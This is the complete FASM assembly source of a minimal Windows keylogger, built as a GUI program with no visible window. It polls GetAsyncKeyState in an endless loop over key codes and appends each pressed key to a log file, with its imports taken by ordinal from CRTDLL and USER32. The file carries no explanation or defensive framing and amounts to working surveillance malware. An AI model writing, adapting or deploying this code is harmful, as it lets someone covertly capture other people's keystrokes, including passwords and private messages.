format PE GUI 4.0

include 'include\kernel.inc'
include 'include\user.inc'

include 'include\macro\stdcall.inc'
include 'include\macro\import.inc'

;-------------------------------------------------------------------------------------------

infi_loop:

    xor    esi, esi

key_check_loop:   
    stdcall    [GetAsyncKeyState],esi
    cmp    eax, -32767d
    jne    skip_write_log_file

    mov    ebp, esi
    stdcall    [fopen],400178h,_openmode
    mov    ebx, eax
    stdcall    [fputc],ebp,ebx
    stdcall [fclose],ebx

skip_write_log_file:

    inc    esi
    cmp    esi, 126d
    jne    key_check_loop
    jmp    infi_loop
   
_openmode    db    'a+',0


; Import Table

data import

 library crtdll,'CRTDLL.DLL',\
     user,'USER32.DLL'

 crtdll:
 importord fopen,80000171h,\
       fputc,80000173h,\
       fclose,80000167h

 user:
 importord GetAsyncKeyState,800000DEh

end data

data fixups
end data
